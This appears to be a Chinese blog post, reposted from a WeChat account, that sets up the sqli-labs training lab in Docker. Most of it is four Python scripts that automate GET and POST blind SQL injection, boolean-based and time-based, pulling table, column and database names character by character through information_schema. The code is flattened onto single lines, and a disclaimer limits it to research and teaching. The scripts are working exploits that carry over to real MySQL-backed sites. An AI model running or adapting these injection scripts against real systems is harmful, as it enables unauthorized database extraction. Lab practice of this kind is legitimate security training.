环境搭建
docker pull acgpiano/sqli-labsdocker run -itd --name sqli -p 9080:80 --rm acgpiano
GET型布尔盲注
import requestsfor i in range(1,50):for b in range(33,127):payload=f"'%20and%20ascii(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'),{i},1))={b}--+"url = 'http://192.168.234.193:9080/Less-1/?id=1'+payloadresult = requests.get(url=url).textif 'Your Login name:Dumb' in result:print(chr(b),end='')
GET型时间盲注
import requests,timefor i in range(1,50):for b in range(33,127):payload=f"'%20and%20if(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{i},1))={b},sleep(1),1)--+"url = 'http://192.168.234.193:9080/Less-9/?id=1'+payloadret = time.time()result = requests.get(url=url).textret2 = time.time()-retif ret2 > 1:print(chr(b),end='')
POST型布尔盲注
import requestsfor i in range(1,50):for b in range(32,127):url = 'http://192.168.234.193:9080/Less-15/'data = {'uname': f"'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))={b}#",'passwd': 'adminpass','submit': 'Submit'}result = requests.post(url=url,data=data).textif "flag" in result:print(chr(b),end='')
POST型时间盲注
import requests,timefor i in range(1,9):for b in range(32,127):url = 'http://192.168.234.193:9080/Less-15/'data = {'uname': f"'or if(ascii(substr(database(),{i},1))={b},sleep(1),1)#",'passwd': 'adminpass','submit': 'Submit'}ret = time.time()result = requests.post(url=url,data=data).textret2 = time.time() - retif ret2 > 1:print(chr(b),end='')
原文始发于微信公众号（飞奔的狸花猫）：记一次使用Python编写多类型盲注脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论